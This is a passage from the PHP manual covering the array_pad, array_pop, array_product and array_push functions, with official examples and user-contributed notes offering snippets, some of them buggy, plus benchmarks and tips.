$result = array_pad($input, -7, -1);
// result is array(-1, -1, -1, -1, 12, 10, 9)

$result = array_pad($input, 2, "noop");
// not padded
?>

See Also

  • array_fill() - Fill an array with values
  • range() - Create an array containing a range of elements

User Contributed Notes

sonu50imedbvu at gmail dot com(Sonu Jaiswal) 12-Jan-2011 12:53
Just an info about the value of "$pad_size" ,

If we set the value of "$pad_size" from -3 to 3,

It will produce the output like:

<?php
$result = array_pad($input, -3, "noop");
//result is array(12, 10, 9)

$result = array_pad($input, 3, "noop");
//result is array(12, 10, 9)
?>

means array will remain the same.
tugla 18-Dec-2008 09:23
Beware, if you try to pad an associative array using numeric keys, your keys will be re-numbered.

<?php
$a = array('size'=>'large', 'number'=>20, 'color'=>'red');
print_r($a);
print_r(array_pad($a, 5, 'foo'));

// use timestamps as keys
$b = array(1229600459=>'large', 1229604787=>20, 1229609459=>'red');
print_r($b);
print_r(array_pad($b, 5, 'foo'));
?>

yields this:
------------------
Array
(
    [size] => large
    [number] => 20
    [color] => red
)
Array
(
    [size] => large
    [number] => 20
    [color] => red
    [0] => foo
    [1] => foo
)
Array
(
    [1229600459] => large
    [1229604787] => 20
    [1229609459] => red
)
Array
(
    [0] => large
    [1] => 20
    [2] => red
    [3] => foo
    [4] => foo
)
hk, StrApp Bussiness Solutions 08-Jan-2007 02:15
A simple example for array_pad()

the syntax is as follows: array_pad(array(), (+/-)int, value)

where "array" is the array to which the value is to be added,

"(+/-) int" is a value that decides the length of the array(it should be greater than the length of the array.
if its a negative number then the value will be added at the left of the array else it will be added to the right.

"values" denotes the value to be added to the array

lets try an example:

<?php

$digits = array();
$digits[0] = 1;
$digits[1] = 2;
$digits[2] = 3;
$arraypad = array_pad($digits, -4, "0");
print_r($arraypad);

?>

output:

Array ( [0] => 0 [1] => 1 [2] => 2 [3] => 3 )
oaev at mail dot ru 21-Oct-2004 11:48
Easy way to get an array contains 5 random numbers from 0 to 9:

$rand_arr = array_rand( array_pad( array(), 10, 1 ), 5 );
28-Feb-2004 09:00
One way to initialize a 20x20 multidimensional array.

<?php
$a = array();
$b = array();
$b = array_pad($b,20,0);
$a = array_pad($a,20,$b);
?>
mwwaygoo at hotmail dot com 16-Jan-2004 08:02
little older, a little wiser.

ksort() will order the array back into its normal order again
so:

<?php
$myArr = array(2 => 'two', 4 => 'four');

$newArr = array_pad(array(), 6, 'FILLED');
$newArr =$myArr+$newArr;
ksort($newArr);
?>

Will give :
Array ( [0] => FILLED [1] => FILLED [2] => two [3] => FILLED [4] => four [5] => FILLED )
goffrie at sympatico dot ca 23-Mar-2003 05:06
To daarius - you mean you have...

[2]=>"two"
[3]=>"three"

and you want...

[0]=>"FILLED"
[1]=>"FILLED"
[2]=>"two"
[3]=>"three"
[4]=>"FILLED"
[5]=>"FILLED"

If so, then the following code...

<?php
$array = array(2 => "two", 3 => "three");
$array = array_pad($array, count($array)+2, "FILLED");
$num = -(count($array)+2);
$array = array_pad($array, $num, "FILLED");
print_r($array);
?>

will return:
Array ( [0] => FILLED [1] => FILLED [2] => two [3] => three [4] => FILLED [5] => FILLED )
The ordering should be okay,...
mwwaygoo at hotmail dot com 19-Sep-2002 09:39
OR you could do this

<?php
$myArr = array(2 => 'three', 3 => 'four');

$newArr = array_pad(array(), 4, 'FILLED');
$newArr =$myArr+$newArr;
?>

This gives your desired result BUT the ordering is a little wierd, because of the order they were added. Indexes are okay though and that is what you wanted.

print_r($newArr) outputs
Array ( [2] => three [3] => four [0] => FILLED [1] => FILLED )

hope this helps
daarius at hotmail dot com 23-Jul-2002 07:36
yes that is true. But, if the index of the array is 2=two, 3=three

and i want 4 more keys to be filled. But, not just filled anywhere, but i want to maintain the key index.

so, i would like to have 0=FILLED, 1=FILLED ... 4=FILLED, 5=FILLED

now i got 4 more keys padded with my string.

We can do this "if" we know the missing keys, but if we dont, then it would be nice for array_pad() or perhaps some new function to do this?

obviously we can achive this by looping through the array using array_key_exists(), and if you dont find the key, simply create + fill it.
regards,
Daarius...
scott*hurring.com 19-Jul-2002 04:20
to the previous commenter -- if you read the manual entry, you'd see that a negative pad_size will put the pad values at the front of the array.
ethanhunt314 at hotmail dot com 10-Dec-2000 04:25
This is useful when using next() and prev() function in a while loop to traverse an array.

For example the following code will only output up to 8.

<?php
$test[] = "1";
$test[] = "2";
$test[] = "3";
$test[] = "4";
$test[] = "5";
$test[] = "6";
$test[] = "7";
$test[] = "8";
$test[] = "9";
$test[] = "10";
$test[] = " ";
$test[] = " ";
$test[] = " ";

$count = count($test);

while($i < $count) {

$now = current($test);
echo "<p>$now</p>";

next($test);
next($test);
next($test);
prev($test);
prev($test);
prev($test);

$i++;
next($test);
}
?>

But if you use:
$test = array_pad($test, 13, " ");

you will get all of your output.
array_multisort
array_pop
Array Functions


Pop the element off the end of array

array_pad
array_product
Array Functions
PHP Manual

array_pop

(PHP 4, PHP 5)

array_pop — Pop the element off the end of array

Description

mixed array_pop ( array &$array )

array_pop() pops and returns the last value of the array, shortening the array by one element. If array is empty (or is not an array), NULL will be returned. Will additionally produce a Warning when called on a non-array.

Note: This function will reset() the array pointer of the input array after use.

Parameters

array

The array to get the value from.

Return Values

Returns the last value of array. If array is empty (or is not an array), NULL will be returned.

Examples

Example #1 array_pop() example

<?php
$stack = array("orange", "banana", "apple", "raspberry");
$fruit = array_pop($stack);
print_r($stack);
?>

After this, $stack will have only 3 elements:

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
)

and raspberry will be assigned to $fruit.

See Also

  • array_push() - Push one or more elements onto the end of array
  • array_shift() - Shift an element off the beginning of array
  • array_unshift() - Prepend one or more elements to the beginning of an array

User Contributed Notes

mtroy dot student at gmail dot com 16-Dec-2010 06:39
to apply arra_pop serveral times but not recursive

<?php
function array_mpop($array, $iterate)
{
    if(!is_array($array) && is_int($iterate))
        return false;

    while(($iterate--)!=false)
        array_pop($array);
    return $array;
}
?>

for test :

<?php
    $a = array("titi", "toto", "tata", "tonton", "toutou", "tutu");
    $a = array_mpop($a, 2);
    var_dump($a);
?>

result :

array(4) { [0]=> string(4) "titi" [1]=> string(4) "toto" [2]=> string(4) "tata" [3]=> string(6) "tonton" }
bellefy at yahoo dot com 27-Aug-2010 09:35
Regarding the last few comments.

To delete the first item in an array:
<?php
array_shift($array);
?>

To get the filename or the file's mtime:
<?php
$filename = basename(__FILE__);
$mod = filemtime(__FILE__);
?>
benjamin_letchford at student dot rmit dot edu dot au 27-Aug-2010 02:24
Want to delete the first element in an array? Here's a small and handy function that'll do the trick!

function array_pop_first(&$array) {
    $array = array_reverse($array);
    array_pop($array);
    $array = array_reverse($array);
}
macnimble at gmail dot com 18-Jul-2010 01:37
@Jochen

You could use PHP's pathinfo function to achieve the same results:

<?php
$mod = filemtime(pathinfo($_SERVER['PHP_SELF'], PATHINFO_FILENAME));
?>
me at fxless dot org 18-Feb-2010 01:38
I have used array_pop() in a function that returns the name of the current file. This can be used, for example, in conjunction with filemtime() to get the modification time of the current file. The function I coded is a one-liner:

<?php
    function whoAmI(){
        return array_pop(explode("/", $_SERVER['PHP_SELF']));
    }
?>

If your file URI is www.example.com/bar/foobar.php, whoAmI() will return foobar.php. To use it with e.g. filemtime() you would simply write:

<?php
    $modtime = filemtime(whoAmI());
?>

Greetings,
Jochen
jim203nospamplz at plznospamaol dot com 05-Sep-2009 04:51
2 line changes to my previous submission:

$theJumpNumber = (round(count($temparray)/2) + $startingFileNumber) % count($temparray); // use of startingfilenumber randomizes the jump number
while (count($temparray) % $theJumpNumber == 0
|| !isPrime($theJumpNumber)) // !isPrime as easy way to check for no cofactors

You need to check for no cofactors so you can cycle round the complete array without duplicates. Checking !isPrime on theJumpNumber is a pretty easy way to do that. isPrime can be found by google: php isprime
sneskid at hotmail dot com 03-Aug-2009 07:22
As already mentioned, array_pop always returns a copy, never a reference, which can be a problem in some cases.

Here is a pop function that allows you to get the reference.
(keep in mind it will alter the internal pointer of the array)
<?php
function &array_rpop(&$a){
    end($a);
    $k=key($a);
    $v=&$a[$k];
    unset($a[$k]);
    return $v;
}

// try this:
$A='A';
$B=array(&$A);

//$C=&array_rpop($B); // will work
$C=&array_pop($B); // won't work

$C='C';

var_dump($A,$B,$C);
?>

I hope the PHP people will make the regular function work with references.
Igor Feghali 04-Feb-2009 09:18
Beware that array_pop() returns a copy of the element (even if the array element is a reference). That means you will get different results on PHP 4 and 5 when dealing with objects.

<?php
$a = new stdClass();
$a->foo = 'bar';

$arr = array(&$a);
$b = array_pop($arr);

$b->foo = 'baz';

var_dump($a);
?>

Output of PHP 5.2.8:
object(stdClass)#1 (1) {
  ["foo"]=>
  string(3) "baz"
}

Output of PHP 4.4.9:
object(stdClass)(1) {
  ["foo"]=>
  string(3) "bar"
}

For more information please refer to:
http://br2.php.net/manual/en/language.oop5.references.php
mcgroovin at gmail dot com 23-Oct-2008 12:13
I wrote a simple function to perform an intersect on multiple (unlimited) arrays.

Pass an array containing all the arrays you want to compare, along with what key to match by.

<?php
function multipleArrayIntersect($arrayOfArrays, $matchKey)
{
    $compareArray = array_pop($arrayOfArrays);

    foreach($compareArray AS $key => $valueArray){
        foreach($arrayOfArrays AS $subArray => $contents){
            if (!in_array($compareArray[$key][$matchKey], $contents)){
                unset($compareArray[$key]);
            }
        }
    }

    return $compareArray;
}
?>
tom at sirwhite dot com 26-May-2008 10:37
@Orsi
correct me if I'm wrong... but an easier version might be
<?php
/*
* This function deletes the given element from a one-dimension array
* Parameters: $array:    the array (in/out)
*             $deleteIt: the value which we would like to delete
*             $useOldKeys: if it is false then the function will re-index the array (from 0, 1, ...)
*                          if it is true: the function will keep the old keys
* Returns true, if this value was in the array, otherwise false (in this case the array is same as before)
*/
function deleteFromArray(&$array, $deleteIt, $useOldKeys = FALSE)
{
    $key = array_search($deleteIt,$array,TRUE);
    if($key === FALSE)
        return FALSE;
    unset($array[$key]);
    if(!$useOldKeys)
        $array = array_values($array);
    return TRUE;
}
?>

--untested but should work.. rite?--
sonetti at hotmail dot com 05-Feb-2008 01:15
@smp_info
I think you are still tired. What would be wrong with:

<?php
$array = array('one', 'two', 'three', 'four');

//pop the last element off
array_pop($array);

//$array == array('one', 'two', 'three');
?>

As the documentation clearly notes, array_pop() not only returns the last element, but actually removes it from the array wich is passed by reference. Calling array_diff is a waste of resources.
Orsi 10-Jan-2008 07:05
Hi,

Here is a simple function which delete one element from the array (with value):
<?php
/*
* This function deletes the given element from a one-dimension array
* Parameters: $array:    the array (in/out)
*             $deleteIt: the value which we would like to delete
*             $useOldKeys: if it is false then the function will re-index the array (from 0, 1, ...)
*                          if it is true: the function will keep the old keys
* Returns true, if this value was in the array, otherwise false (in this case the array is same as before)
*/
function deleteFromArray(&$array, $deleteIt, $useOldKeys = FALSE)
{
    $tmpArray = array();
    $found = FALSE;
    foreach($array as $key => $value)
    {
        if($value !== $deleteIt)
        {
            if(FALSE === $useOldKeys)
            {
                $tmpArray[] = $value;
            }
            else
            {
                $tmpArray[$key] = $value;
            }
        }
        else
        {
            $found = TRUE;
        }
    }

    $array = $tmpArray;

    return $found;
}
?>

Maybe it will help somebody...
smp_info at yahoo dot com 26-Nov-2007 03:44
I'm sorry, I must have been extremely tired when writing the note below.  :P

Replace $element with $array, and the code will work nicely.

The right code would be..

<?php
//$array = array('one', 'two', 'three', 'four');

//pop the last element off and return the array
$array = array_diff($array, array(array_pop($array)));

//$array = array('one', 'two', 'three');
smp_info at yahoo dot com 19-Nov-2007 04:23
I've found myself several times wanting the array (minus the popped element) returned, instead of the element returned.

The following code does this nicely:

<?php
//$array = array('one', 'two', 'three', 'four');

//pop the last element off and return the array
$array = array_diff($array, array(array_pop($element)));

//$array = array('one', 'two', 'three');
doyley3731 at gmail dot com 31-Oct-2007 04:37
I had a problem when using this function because my array was made up entirley of numbers, so I have made my own function.  Hopefully it will be useful to somebody.

function array_trim_end($array){

$num=count($array);
$num=$num-1;
unset($array[$num]);

return $array;
}
rmondragon at gmail dot com 07-Jun-2005 02:03
In a previous example ...
<?php
function array_trim ( $array, $index ) {
   if ( is_array ( $array ) ) {
     unset ( $array[$index] );
     array_unshift ( $array, array_shift ( $array ) );
     return $array;
     }
   else {
     return false;
     }
   }
?>

This have a problem. if u unset the last value and then use
<?
array_unshift ( $array, array_shift ( $array ) );
?>

will return a :  Array ( [0] => )
so u can fix it using...

<?php
if (count($array) > 0) array_unshift ( $values, array_shift ( $values ) );
?>

good luck ;)
15-Dec-2004 08:29
strrchr is a lot more useful than the other example using array_pop for finding the extension of a file. For example:

<?php
$ext = strrchr($filename, ".");
?>

$ext will contain the extension of the file, including a ".", if the file has an extension, and FALSE if the file has no extension. If the file has multiple extensions, such as "filename.tar.gz", then this construction will just return the last extension.
eddie at metafoundry dot com 25-Nov-2004 08:35
Quick way to get the extension from a file name using array_pop:

$ext = array_pop(explode(".",$filename));
30-Mar-2004 01:55
A function to delete an array value that recalculates the index ( its very short and easy to understand ).
Hope this might help someone...

<?php
/* Usage:
    $array : Array
    $indey : Integer

    The value of $array at the index $index will be
    deleted by the function.
*/
function array_trim ( $array, $index ) {
   if ( is_array ( $array ) ) {
      unset ( $array[$index] );
      array_unshift ( $array, array_shift ( $array ) );
      return $array;
      }
   else {
      return false;
      }
   }
?>
Alex Dowgailenko 15-Dec-2003 03:36
array_pop() can be usefull for fetching extentions of files, especially in cases where there might be more than one period in the filename.

eg:

<?php
$filename = "textfile.txt.bak";
$tmp = explode(".", $filename);
$ext = array_pop($tmp);

print_r($ext); // Shows "bak"
?>
21-Oct-2003 01:46
Be aware that using array_pop on an associative array that uses a numeric string as a key changes the key:

<?php
$stack= array("12" => "green", "54" => "brown", "672" => "blue");
print_r($stack);
$fruit = array_pop($stack);
print_r($stack);
?>

Results of execution:
Array
(
    [12] => green
    [54] => brown
    [672] => blue
)
Array
(
    [0] => green
    [1] => brown
)

However, if there is a non-numeric character in the key, the key will be maintained:

<?php
$stack= array("g1" => "green", "b1" => "brown", "b2" => "blue");
print_r($stack);
$fruit = array_pop($stack);
print_r($stack);
?>

Results of execution:
Array
(
    [g1] => green
    [b1] => brown
    [b2] => blue
)
Array
(
    [g1] => green
    [b1] => brown
)
ryan8613(at)hotmail(dot)com 08-Jun-2003 06:10
A function that may help some out, considering it's pretty much the one mentioned previously...

<?php
function array_trim($arr, $indice) {
        if(!isset($indice)) {
                $indice = count($arr)-1;
        }
        unset($arr[$indice]);
        array_shift($arr);
        return $arr;
}
?>

It cuts the given index value off of the array, but without the shift, if  the 'index' value isn't given, it cuts off the end value.
Alex Chacón 28-Feb-2003 05:16
alex.chacon@terra.com
Hi
Here there is a function that delete a elemente from a array and re calculate indexes

<?php
function eliminarElementoArreglo ($array, $indice)
{
    if (array_key_exists($indice, $array))
    {
        $temp = $array[0];
        $array[0] = $array[$indice];
        $array[$indice] = $temp;
        array_shift($array);

        //reacomodamos índices
        for ($i = 0 ; $i < $indice ; $i++)
        {
            $dummy = $array[$i];
            $array[$i] = $temp;
            $temp = $dummy;
        }
    }
    return $array;
}
?>
array_pad
array_product
Array Functions


Calculate the product of values in an array

array_pop
array_push
Array Functions
PHP Manual

array_product

(PHP 5 >= 5.1.0)

array_product — Calculate the product of values in an array

Description

number array_product ( array $array )

array_product() returns the product of values in an array.

Parameters

array

The array.

Return Values

Returns the product as an integer or float.

Examples

Example #1 array_product() examples

<?php

$a = array(2, 4, 6, 8);
echo "product(a) = " . array_product($a) . "\n";
echo "product(array()) = " . array_product(array()) . "\n";

?>

The above example will output:

product(a) = 384
product(array()) = 1

User Contributed Notes

marcel dot glacki at stud dot fh-swf dot de 28-Sep-2010 08:36
You can use array_product to calculate the factorial of n:
<?php
function factorial( $n )
{
  if( $n < 1 ) $n = 1;
  return array_product( range( 1, $n ));
}
?>

If you need the factorial without having array_product available, here is one:
<?php
function factorial( $n )
{
  if( $n < 1 ) $n = 1;
  for( $p++; $n; ) $p *= $n--;
  return $p;
}
?>
bishop 28-Jul-2009 10:34
gmail @ algofoogle is right, so we can extend our own array_product() to flexibly accept the empty product value.  Zero (0) is the default (to be compatible with PHP behavior), but you could change this to 1 for mathematical purposes or null for logical.

<?php
if (! function_exists('array_product')) {
    function array_product($array, $emptyProduct = 0) {
        if (is_array($array)) {
            return (0 == count($array) ? $emptyProduct : array_reduce($array, '_array_product', 1));
        } else {
            trigger_error('Param #1 must be an array', E_USER_ERROR);
            return false;
        }
    }
    function _array_product($v,$w) { return $v * $w; }
}
?>
hdeus at yahoo dot com 06-Oct-2008 08:25
Here is how you can multiply two arrays in the form of matrixes using a bit of matrix algebra (M*M).
By calling the function multiplyMatrix, you will be multiplying two sparse matrixes (zeros need not be included in the array for the operation to be performed).

<?php
$M = array(
0=>array(1=>1,4=>1),
1=>array(2=>1,3=>1),
3=>array(1=>1),
4=>array(5=>1),
5=>array(6=>1)
);

$M1 = multiplyMatrix($M, $M); //multiplying $M by itself

echo '<pre>';print_r($M1);echo '</pre>';

function multiplyMatrix($M1, $M2)
    {
#Helena F Deus, Oct 06, 2008
##Multiply two matrixes; $M1 and $M2 can be sparse matrixes, the indexes on both should match
        if(is_file($M1)) {$matrix1 = unserialize(file_get_contents($M1));}
        else $matrix1 = $M1;

        #transpose M2
        $M2t = transpose($M2);

        foreach ($M2t as $row=>$tmp) {
            ##sum the result of the value in the col multiplied by the value in the vector on the corresponding row

                foreach ($M1 as $row1=>$tmp1) {

                    $multiply[$row1] = array_rproduct($tmp,$tmp1);

                    if(!$multiply[$row1]){
                          exit;
                        }
                }

                foreach ($multiply as $row1=>$vals) {

                    $sum[$row][$row1]=array_sum($vals);
                }

        }

    $r=transpose($sum);

    return ($r);
    }

function transpose($M)
{
foreach ($M as $row=>$cols) {

            foreach ($cols as $col=>$value) {
                 if($value)
                 $Mt[$col][$row]=$value;
            }
        }
        ksort($Mt);

return ($Mt);
}

function array_rproduct($a1, $a2)
{

    foreach ($a1 as $line=>$cols) {
        $a3[$line] = $a1[$line]*$a2[$line];
        foreach ($a2 as $line2=>$cols2) {
            $a3[$line2] = $a1[$line2]*$a2[$line2];
        }
    }
    ksort($a3);

    return ($a3);

}

?>
gmail at algofoogle 09-May-2007 09:18
Just in relation to "bishop" and the overall behaviour of array_product... The "empty product" (i.e. product of no values) is supposed to be defined as "1":

http://en.wikipedia.org/wiki/Empty_product

...however PHP's array_product() returns int(0) if it is given an empty array. bishop's code does this, too (so it IS a compatible replacement). Ideally, array_product() should probably return int(1). I guess it depends on your specific context or rationale.

You might normally presume int(0) to be a suitable return value if there are no inputs, but let's say that you're calculating a price based on "percentage" offsets:

$price = 10.0;
$discounts = get_array_of_customer_discounts();
$price = $price * array_product($discounts);

...if there are NO "discounts", the price will come out as 0, instead of 10.0
pqpqpq at wanadoo dot nl 17-Jan-2007 04:32
An observation about the _use_ of array_product with primes:

$a=$arrayOfSomePrimes=(2,3,11);
              // 2 being the first prime (these days)

$codeNum=array_product($a); // gives 66 (== 2*3*11)

echo "unique product(\$a) = " . array_product($a) . "\n";

The 66 can (only) be split into its original primes,
which can be transformed into their place in the row of primes (2,3,5,7,11,13,17,19...)  giving (1,2,3,4,5,6,7,8...)

The 66 gives the places {1,2,5} in the row of primes. The number "66" is unique as a code for {1,2,5}

So you can define the combination of table-columns {1,2,5} in "66". The bigger the combination, the more efficient in memory/transmission, the less in calculation.
bishop 29-Nov-2006 07:13
Yet another implementation of array_product() using PHP's native array_reduce():

if (! function_exists('array_product')) {
    function array_product($array) {
        if (is_array($array)) {
            return (0 == count($array) ? 0 : array_reduce($array, '_array_product', 1));
        } else {
            trigger_error('Param #1 must be an array', E_USER_ERROR);
            return false;
        }
    }
    function _array_product($v,$w) { return $v * $w; }
}
bishop 29-Nov-2006 07:04
Regarding Andre D function to test if all values in an array of booleans are true, you can also use:

<?php
$allTrue = (! in_array(false, $arrayToCheck));
?>

Both this method and Andre D's are O(n), but this method has a lower k in the average case: in_array() stops once it finds the first false, while array_product must always traverse the entire array.
marcel at computingnews dot com 15-Nov-2006 09:07
if you don't have PHP 5.xx . you can use this function.
It does not make sure that the variables are numeric.

function calculate_array_product($array="")
{
if(is_array($array))
    {
                foreach($array as $key => $value)
        {
            $productkey = $productkey + $key;
         }
       return $productkey;
    }
  return NULL;
}
Andre D 07-Aug-2006 01:56
This function can be used to test if all values in an array of booleans are TRUE.

Consider:

<?php

function outbool($test)
{
    return (bool) $test;
}

$check[] = outbool(TRUE);
$check[] = outbool(1);
$check[] = outbool(FALSE);
$check[] = outbool(0);

$result = (bool) array_product($check);
// $result is set to FALSE because only two of the four values evaluated to TRUE

?>

The above is equivalent to:

<?php

$check1 = outbool(TRUE);
$check2 = outbool(1);
$check3 = outbool(FALSE);
$check4 = outbool(0);

$result = ($check1 && $check2 && $check3 && $check4);

?>

This use of array_product is especially useful when testing an indefinite number of booleans and is easy to construct in a loop.
mattyfroese at gmail dot com 06-Jan-2006 06:25
If you don't have PHP 5

$ar = array(1,2,3,4);
$t = 1;
foreach($ar as $n){
    $t *= $n;
}
echo $t; //output: 24
array_pop
array_push
Array Functions


Push one or more elements onto the end of array

array_product
array_rand
Array Functions
PHP Manual

array_push

(PHP 4, PHP 5)

array_push — Push one or more elements onto the end of array

Description

int array_push ( array &$array , mixed $var [, mixed $... ] )

array_push() treats array as a stack, and pushes the passed variables onto the end of array. The length of array increases by the number of variables pushed. Has the same effect as:

<?php
$array[] = $var;
?>
repeated for each var.

Note: If you use array_push() to add one element to the array it's better to use $array[] = because in that way there is no overhead of calling a function.

Note: array_push() will raise a warning if the first argument is not an array. This differs from the $var[] behaviour where a new array is created.

Parameters

array

The input array.

var

The pushed value.

Return Values

Returns the new number of elements in the array.

Examples

Example #1 array_push() example

<?php
$stack = array("orange", "banana");
array_push($stack, "apple", "raspberry");
print_r($stack);
?>

The above example will output:

Array
(
    [0] => orange
    [1] => banana
    [2] => apple
    [3] => raspberry
)

See Also

  • array_pop() - Pop the element off the end of array
  • array_shift() - Shift an element off the beginning of array
  • array_unshift() - Prepend one or more elements to the beginning of an array

User Contributed Notes

Szorstki 27-Dec-2011 02:35
With multidimensional arrays it's easy too (somebody posted a sample, but it isn't useful for beginners). Here is a piece of code that should explain everything and much more:

<?php
//two classes of objects which will be in multidimensional array
class Org {
    public $name;
    public function __construct($name) {
        $this->name = $name;
    }
}
class Org2 {
    public $name;
    public function __construct($name) {
        $this->name = $name;
    }
}

//main array
$arr = array();

//creating first subarray manually
//the subarray name must be like first class above
$arr['Org'] = array();

//creating second subarray for objects of selected class
//in another way
$x=2222;        //only for creating the sample object
$arr[get_class(new Org2("wtf".$x))] = array();

//pushing some new objects to (sub)arrays in (main)array
for ($i=0; $i<3; $i++) {
    $org1 = new Org("tst".$i);
    $org2 = new Org2("wtf".$i);
    array_push($arr[get_class($org1)], $org1);
    array_push($arr[get_class($org2)], $org2);
}

//printing everything
foreach ($arr as $key=>$value) {
    $counter = 0;
    echo "=====".$key." (key) | value: ".$value."<br/>";
    foreach ($value as $key2=>$value2) {
        if($value2 == null) {
            //echo "counter: ".$counter." | key: ".$key2;
            unset($arr[$key][$key2]);
        } else {
            print_r($value2);
            echo " [".$counter."]  [".$key2."]<br/>";
        }
        $counter++;
    }
}

//the additional, second part
echo "<br/>--------<br/><br/>";
//deleting one of the objects from selected (sub)array
unset($arr['Org'][1]);

//printing everything again (look at the counter values)
foreach ($arr as $key=>$value) {
    $counter = 0;
    echo "=====".$key." (key) | value: ".$value."<br/>";
    foreach ($value as $key2=>$value2) {
        if($value2 == null) {
            //echo "counter: ".$counter." | key: ".$key2;
            unset($arr[$key][$key2]);
        } else {
            print_r($value2);
            echo " [".$counter."]  [".$key2."]<br/>";
        }
        $counter++;
    }
}
?>

What we get in browser/console:
=====Org (key) | value: Array
Org Object ( [name] => tst0 ) [0] [0]
Org Object ( [name] => tst1 ) [1] [1]
Org Object ( [name] => tst2 ) [2] [2]
=====Org2 (key) | value: Array
Org2 Object ( [name] => wtf0 ) [0] [0]
Org2 Object ( [name] => wtf1 ) [1] [1]
Org2 Object ( [name] => wtf2 ) [2] [2]

--------

=====Org (key) | value: Array
Org Object ( [name] => tst0 ) [0] [0]
Org Object ( [name] => tst2 ) [1] [2]
=====Org2 (key) | value: Array
Org2 Object ( [name] => wtf0 ) [0] [0]
Org2 Object ( [name] => wtf1 ) [1] [1]
Org2 Object ( [name] => wtf2 ) [2] [2]
yuri 30-Nov-2011 10:00
If you want to put an element to a specific position in an array, try this function.

<?php

function array_put_to_position(&$array, $object, $position, $name = null)
{
        $count = 0;
        $return = array();
        foreach ($array as $k => $v)
        {
                // insert new object
                if ($count == $position)
                {
                        if (!$name) $name = $count;
                        $return[$name] = $object;
                        $inserted = true;
                }
                // insert old object
                $return[$k] = $v;
                $count++;
        }
        if (!$name) $name = $count;
        if (!$inserted) $return[$name];
        $array = $return;
        return $array;
}
?>

Example :

<?php
$a = array(
 'a' => 'A',
 'b' => 'B',
 'c' => 'C',
);

print_r($a);
array_put_to_position($a, 'G', 2, 'g');
print_r($a);

/*
Array
(
    [a] => A
    [b] => B
    [c] => C
)
Array
(
    [a] => A
    [b] => B
    [g] => G
    [c] => C
)
*/
?>
aosojnik at gmail dot com 23-Nov-2009 02:56
If you want to preserve the keys in the array, use the following:

<?php
function array_pshift(&$array) {
    $keys = array_keys($array);
    $key = array_shift($keys);
    $element = $array[$key];
    unset($array[$key]);
    return $element;
}
?>
rarioj at gmail dot com 04-Oct-2009 06:44
This function "Returns the new number of elements in the array."

To find out the last index, use:

<?php
$count = array_push($array, $value);
$last_index = array_pop(array_keys($array));
?>
Anonymous 20-Sep-2009 02:00
If you need to push the elements of an array onto the end of another, simply use array_splice():

array_splice($array, count($array), 0, $otherArray);
helpmepro1 at gmail dot com 13-Jan-2009 01:43
elegant php array combinations algorithm

<?

//by Shimon Dookin

function get_combinations(&$lists,&$result,$stack=array(),$pos=0)
{
 $list=$lists[$pos];
 if(is_array($list))
  foreach($list as $word)
  {
   array_push($stack,$word);
   if(count($lists)==count($stack))
    $result[]=$stack;
   else
    get_combinations($lists,$result,$stack,$pos+1);
   array_pop($stack);
  }
}

$wordlists= array( array("shimon","doodkin") , array("php programmer","sql programmer","mql metatrader programmer") );

get_combinations($wordlists,$combinations);

echo '<xmp>';
print_r($combinations);

?>
wesleys at opperschaap dot net 10-Oct-2008 12:58
A function which mimics push() from perl, perl lets you push an array to an array: push(@array, @array2, @array3). This function mimics that behaviour.

<?php

function array_push_array(&$arr) {
    $args = func_get_args();
    array_shift($args);

    if (!is_array($arr)) {
        trigger_error(sprintf("%s: Cannot perform push on something that isn't an array!", __FUNCTION__), E_USER_WARNING);
        return false;
    }

    foreach($args as $v) {
        if (is_array($v)) {
            if (count($v) > 0) {
                array_unshift($v, &$arr);
                call_user_func_array('array_push',  $v);
            }
        } else {
            $arr[] = $v;
        }
    }
    return count($arr);
}

$arr = array(0);
$arr2  = array(6,7,8);
printf("%s\n", array_push_array($arr, array(),array(1,2,3,4,5), $arr2));
print_r($arr);

# error..
$arr = "test";
printf("%s\n", array_push_array($arr, array(),array(1,2,3,4,5), $arr2));

?>
willdemaine at gmail dot com 07-Aug-2008 07:00
If you're adding multiple values to an array in a loop, it's faster to use array_push than repeated [] = statements that I see all the time:

<?php
class timer
{
        private $start;
        private $end;

        public function timer()
        {
                $this->start = microtime(true);
        }

        public function Finish()
        {
                $this->end = microtime(true);
        }

        private function GetStart()
        {
                if (isset($this->start))
                        return $this->start;
                else
                        return false;
        }

        private function GetEnd()
        {
                if (isset($this->end))
                        return $this->end;
                else
                        return false;
        }

        public function GetDiff()
        {
                return $this->GetEnd() - $this->GetStart();
        }

        public function Reset()
        {
                $this->start = microtime(true);
        }

}

echo "Adding 100k elements to array with []\n\n";
$ta = array();
$test = new Timer();
for ($i = 0; $i < 100000; $i++)
{
        $ta[] = $i;
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with array_push\n\n";
$test->Reset();
for ($i = 0; $i < 100000; $i++)
{
        array_push($ta,$i);
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with [] 10 per iteration\n\n";
$test->Reset();
for ($i = 0; $i < 10000; $i++)
{
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with array_push 10 per iteration\n\n";
$test->Reset();
for ($i = 0; $i < 10000; $i++)
{
        array_push($ta,$i,$i,$i,$i,$i,$i,$i,$i,$i,$i);
}
$test->Finish();
echo $test->GetDiff();
?>

Output

$ php5 arraypush.php
X-Powered-By: PHP/5.2.5
Content-type: text/html

Adding 100k elements to array with []

0.044686794281006

Adding 100k elements to array with array_push

0.072616100311279

Adding 100k elements to array with [] 10 per iteration

0.034690141677856

Adding 100k elements to array with array_push 10 per iteration

0.023932933807373
Ariz Jacinto 27-Jun-2008 04:41
if you're going to use array_push() to insert a "$key" => "$value" pair into an array, it can be done using the following example:

    array_push($data[$key], $value);
    ...
    array_push($data[$key], $value);
bxi at apparoat dot nl 23-May-2008 04:29
I've done a small comparison between array_push() and the $array[] method and the $array[] seems to be a lot faster.

<?php
$array = array();
for ($x = 1; $x <= 100000; $x++)
{
    $array[] = $x;
}
?>
takes 0.0622200965881 seconds

and

<?php
$array = array();
for ($x = 1; $x <= 100000; $x++)
{
    array_push($array, $x);
}
?>
takes 1.63195490837 seconds

so if your not making use of the return value of array_push() its better to use the $array[] way.

Hope this helps someone.
alexander dot williamson at gmail dot com 26-Mar-2008 04:06
This will work to solve the associative array issues:

$aValues[$key] = $value;

